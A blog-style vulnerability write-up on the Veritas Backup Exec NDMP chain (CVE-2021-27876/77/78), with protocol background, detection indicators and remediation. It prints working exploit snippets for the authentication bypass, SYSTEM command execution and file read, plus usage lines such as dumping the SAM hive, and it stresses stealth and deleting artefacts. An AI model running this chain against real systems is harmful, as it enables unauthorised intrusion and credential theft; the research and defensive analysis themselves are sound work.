Post

CVE-2021-27876/77/78 — Veritas Backup Exec: Dissecting an Unauthenticated RCE Chain

CVE-2021-27876/77/78 — Veritas Backup Exec: Dissecting an Unauthenticated RCE Chain

During a recent engagement I ran into a Veritas Backup Exec Agent sitting on TCP/10000 with no authentication enforced. Three CVEs, one custom exploit script, and a SYSTEM shell — all without touching a single credential. This post breaks down why the vulnerability exists, how the chain works at the protocol level, and why I wrote a custom exploit rather than reaching for Metasploit.

This writeup is purely for research and educational purposes. Only test systems you are authorised to access.


What is Veritas Backup Exec

Veritas Backup Exec is enterprise backup software widely deployed in Windows environments. The Backup Exec Agent runs on hosts that need to be backed up — it listens on TCP/10000 and speaks the Network Data Management Protocol (NDMP), an industry-standard protocol for network backup operations originally developed by NetApp and Intelliguard, now maintained by SNIA.

The agent runs as NT AUTHORITY\SYSTEM on Windows. It has to — backup operations need access to every file on the system, including VSS snapshots, locked system files, and the registry. That SYSTEM context is precisely what makes this interesting.


The CVE Chain — Overview

Three CVEs were disclosed by Veritas in March 2021 under advisory VTS21-003, all affecting the same agent component:

CVETypeCVSS 3.1
CVE-2021-27876Authentication bypass via SHA hash manipulation9.8 Critical
CVE-2021-27877Unauthenticated arbitrary file read via NDMP8.2 High
CVE-2021-27878Arbitrary OS command execution via NDMP_EXECUTE_COMMAND9.8 Critical

Affected versions: Backup Exec 16.x, 20.x, 21.x up to and including 21.2 (agent revision ≤ 9.3).

These three bugs chain together. CVE-2021-27876 gets you past authentication. CVE-2021-27878 gives you command execution. CVE-2021-27877 gives you a way to read the output back. None of them are useful in isolation — together they’re a clean, unauthenticated SYSTEM shell.


Background: The NDMP Protocol

Before getting into the bugs, it helps to understand how NDMP works at the wire level.

NDMP is a request-response protocol over TCP. Each message has a fixed 24-byte header:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Sequence                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          Timestamp                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Message Type                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Message Code                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Reply Seq                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          Error Code                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Fields are XDR-encoded (big-endian), and string values include a 4-byte length prefix followed by the data padded to a 4-byte boundary. The record mark at the start of each message has the MSB set (0x80000000 | length) to indicate the last fragment.

The Veritas implementation adds proprietary message codes in the 0xf3xx range on top of the standard NDMP spec. These include the NDMP_EXECUTE_COMMAND (0xf30f) and the custom TLS handshake (0xf383) messages — none of which are part of the base NDMP specification.


CVE-2021-27876 — SHA Authentication Bypass

The most interesting bug in the chain. Let’s look at how NDMP authentication works.

The standard NDMP auth flow requests a challenge from the server, hashes the password against it, and sends the hash back. The server independently computes the expected hash and compares. Veritas implemented a SHA variant (auth type 5) alongside the standard MD5 type.

The intended SHA computation is:

1
auth_response = SHA256(password_padded_to_64_bytes + challenge)

Where password_padded_to_64_bytes is the user’s password zero-padded (or truncated) to exactly 64 bytes.

The flaw: the server never verifies that the password bytes are non-zero. It simply takes whatever 64 bytes the client sends as the “password” block, concatenates the challenge, and computes SHA256(client_bytes + challenge). It then checks if the client’s submitted hash matches this computation.

But the client controls those 64 bytes. So the client just sends 64 zero bytes and computes:

1
sha_hash = hashlib.sha256(b'\x00' * 64 + challenge).digest()

The server performs the exact same computation (because the client sent \x00 * 64 and the server computes SHA256(\x00*64 + challenge)), and the hashes match. Authentication succeeds — for any username, with no knowledge of the actual password.

1
2
3
4
5
# From be_rce.py — the bypass in full
challenge = xop(body[off:off+64], 64)           # 64-byte challenge from server
sha_hash  = hashlib.sha256(b'\x00' * 64 + challenge).digest()
auth_body = xi(5) + xs('Administrator') + xop(sha_hash, 32)
msg, err, body = nd.req(NDMP_CONNECT_CLIENT_AUTH, auth_body)

This works because SHA authentication had been carried over from an older product version but the validation logic was never updated to enforce that the password material was meaningful. It had effectively become a known-plaintext problem where the plaintext was always zero.


The TLS Handshake (Not a CVE, But Worth Understanding)

Before authentication can happen, the Veritas agent requires a custom TLS negotiation — a proprietary handshake layered on top of NDMP before the TCP socket is upgraded to TLS.

The flow works like this:

  1. Client → Server (NDMP_SSL_HANDSHAKE, type 2): Client sends its hostname, IP, and a certificate identifier derived from a locally-generated CA cert.
  2. Server → Client: Server sends back a DER-encoded CSR — it wants the client to sign a certificate for it.
  3. Client → Server (NDMP_SSL_HANDSHAKE, type 3): Client signs the agent’s CSR using its local CA, and sends back both the CA cert and the signed agent cert in PEM form.
  4. Client → Server (NDMP_SSL_HANDSHAKE, type 4): Client signals readiness to upgrade the socket.
  5. The raw TCP socket is then wrapped in a standard TLS context.

The certificate identifier (cert_id) is computed as the first 4 bytes (little-endian) of SHA1(issuer_string + serial_bytes). This value is sent in the handshake body to let the server correlate the CA cert with the identifier.

1
2
3
4
5
6
7
def cert_id(cert):
    issuer = '/' + '/'.join(f'{a.oid.dotted_string}={a.value}'
                             for a in cert.issuer)
    serial = cert.serial_number.to_bytes(
        (cert.serial_number.bit_length() + 7) // 8, 'big')
    return struct.unpack('<I', hashlib.sha1(
        issuer.encode() + serial).digest()[:4])[0]

The important thing here is that the client generates its own CA and signs the agent’s CSR — the agent accepts whatever CA the client presents. There is no pinning, no pre-shared root, no PKI. The client is trusted simply because it knows how to speak the protocol. This is a design-level trust issue rather than a cryptographic one, but it’s worth noting because it means the TLS layer adds zero authentication value here.


CVE-2021-27878 — NDMP_EXECUTE_COMMAND

Once authenticated, the proprietary NDMP_EXECUTE_COMMAND (0xf30f) message type is available. It does exactly what it sounds like: executes an OS command on the agent host as the service account, which on Windows is NT AUTHORITY\SYSTEM.

The request body is straightforward:

1
2
3
wrap = f'C:\\Windows\\System32\\cmd.exe /c "{cmd} > {OUTFILE} 2>&1"'
exec_body = xs(wrap) + xi(0)
nd.req(NDMP_EXECUTE_COMMAND, exec_body)

The command is wrapped in cmd.exe /c with output redirected to a temp file, because NDMP_EXECUTE_COMMAND is fire-and-forget — it doesn’t return stdout directly. Getting the output back is where CVE-2021-27877 comes in.


CVE-2021-27877 — Arbitrary File Read

The NDMP_FILE_OPEN_EXT (0xf308) and NDMP_FILE_READ (0xf30a) message types allow reading arbitrary files from the agent host’s filesystem, with no path restrictions. After executing a command and writing its output to C:\Windows\Temp\_be_out.txt, the exploit reads the file back via NDMP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Open file for reading (mode=1)
open_body = xs(filename) + xs(directory) + xi(1)
msg, err, body = nd.req(NDMP_FILE_OPEN_EXT, open_body)
hnd, _ = ri(body, off)    # file handle

# Read in 4096-byte chunks
while True:
    read_body = xi(hnd) + xi(4096)
    msg, err, body = nd.req(NDMP_FILE_READ, read_body)
    ec, off = ri(body, 0)
    if ec != 0:
        break
    chunk, off = rs(body, off)
    if not chunk:
        break
    output += chunk

# Close and clean up
nd.req(NDMP_FILE_CLOSE, xi(hnd))
nd.req(NDMP_EXECUTE_COMMAND, xs(f'cmd.exe /c "del /f {OUTFILE}"') + xi(0))

The file is cleaned up after reading to reduce artifacts. This loop continues until the agent returns a non-zero error code or an empty chunk, giving a complete read of arbitrarily large output.


Putting It Together — Full Execution Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Client                                          Backup Exec Agent (SYSTEM)
  |                                                      |
  |<----- NDMP_NOTIFY_CONNECTED (version push) ----------|
  |------ NDMP_CONNECT_OPEN (echo version) ------------->|
  |<----- OK -------------------------------------------|
  |                                                      |
  |------ NDMP_SSL_HANDSHAKE type=2 (CA cert ID) ------->|
  |<----- Agent CSR (DER) ------------------------------|
  |------ NDMP_SSL_HANDSHAKE type=3 (signed cert) ------>|
  |------ NDMP_SSL_HANDSHAKE type=4 (upgrade) ---------->|
  |<===== TLS upgrade ==================================>|
  |                                                      |
  |------ NDMP_CONFIG_GET_AUTH_ATTR (SHA type) --------->|
  |<----- 64-byte challenge ----------------------------|
  |------ NDMP_CONNECT_CLIENT_AUTH (SHA256(\x00*64+ch)) ->|
  |<----- Auth OK --------------------------------------|
  |                                                      |
  |------ NDMP_EXECUTE_COMMAND ("whoami > out.txt") ---->|
  |<----- OK -------------------------------------------|
  |------ NDMP_FILE_OPEN_EXT (out.txt, read) ----------->|
  |------ NDMP_FILE_READ (4096) ------------------------>|
  |<----- "nt authority\system" ------------------------|
  |------ NDMP_FILE_CLOSE / NDMP_EXECUTE_COMMAND (del) ->|

Total time from TCP connect to SYSTEM shell output: under 3 seconds.


Why Custom and Not Metasploit

The Metasploit module exploit/multi/veritas/beagent_sha_auth_rce exists and covers these same CVEs. So why write a custom script?

1. Payload staging vs. direct execution

The Metasploit module works by staging a Meterpreter payload — writing a binary to disk, executing it, waiting for the callback. That means a PE binary hits the filesystem and a new process phones home over a separate TCP connection. In environments with endpoint detection, that sequence is loud.

The custom script executes commands directly via NDMP_EXECUTE_COMMAND and reads output back through the same NDMP connection. No payload written to disk. No new outbound connection. The only filesystem artefact is a small temporary text file (_be_out.txt) that gets deleted immediately after reading.

2. TLS handling

The Metasploit module handles the custom Veritas TLS handshake, but it does so through Ruby’s OpenSSL bindings in a way that can fail on hosts running newer TLS policy configurations or when the agent’s CSR contains unexpected attributes. The Python implementation using the cryptography library handles the CSR signing more flexibly and has cleaner error handling around the cert identifier computation.

3. Simplicity and scriptability

The custom script is a single Python file with one dependency (pip install cryptography). No framework, no handler, no listener. It takes a target and a command as arguments and prints output to stdout:

1
2
3
python3 be_rce.py 192.168.1.50 "whoami"
python3 be_rce.py 192.168.1.50 "net localgroup administrators"
python3 be_rce.py 192.168.1.50 "reg save HKLM\SAM C:\Windows\Temp\sam.hive"

That makes it trivial to chain into shell scripts, wrap in a loop over a host list, or integrate into a broader toolset without needing a Metasploit console running.

4. Transparency

The Metasploit module abstracts a lot of the protocol detail behind helper methods. With the custom script, every NDMP message is explicit — you can see exactly what’s being sent and why. When something breaks (wrong NDMP version, patched auth logic, unexpected error code), it’s immediately visible rather than buried in framework internals. For understanding the vulnerability, that transparency matters.

5. Portability and modification

Need to read a specific file instead of executing a command? Change three lines. Need to write a file instead of read? NDMP_FILE_OPEN_EXT with mode 4. The Metasploit module’s architecture makes that kind of modification less natural. The custom script is a direct implementation of the protocol — it’s easy to extend.


Detection Artefacts

If you’re on the blue team side, here’s what to look for:

LayerIndicator
NetworkTLS connection to TCP/10000 from a non-backup-server host
NetworkNDMP_EXECUTE_COMMAND message type (0xf30f) in NDMP traffic
HostC:\Windows\Temp\_be_out.txt created and immediately deleted
Hostcmd.exe spawned as a child process of the Backup Exec Agent service
Hostreg save commands run under the SYSTEM context
Windows Event LogEvent ID 4688 showing cmd.exe spawned by the Backup Exec service account

The most reliable detection is process creation auditing — any cmd.exe or powershell.exe spawned by the Backup Exec Agent process should be treated as a high-confidence indicator of exploitation.


Remediation

  • Upgrade Veritas Backup Exec Agent to 21.3 or later on all hosts
  • At the network level, restrict TCP/10000 to authorised backup management servers only via host-based firewall rules and network ACLs — the agent should not be reachable from general internal segments
  • Audit the estate for any other hosts running the agent via: nmap -p 10000 --open <subnet>

Code

The full exploit script is on GitHub: github.com/wingerbijay/CVE-2021-27876

1
2
3
4
5
6
7
8
9
10
git clone https://github.com/wingerbijay/CVE-2021-27876
cd CVE-2021-27876

# modern distros mark Python as "externally managed" (PEP 668),
# so install into a virtual environment
python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate
pip install cryptography

python3 be_rce.py <target> "whoami"

References

This post is licensed under CC BY 4.0 by the author.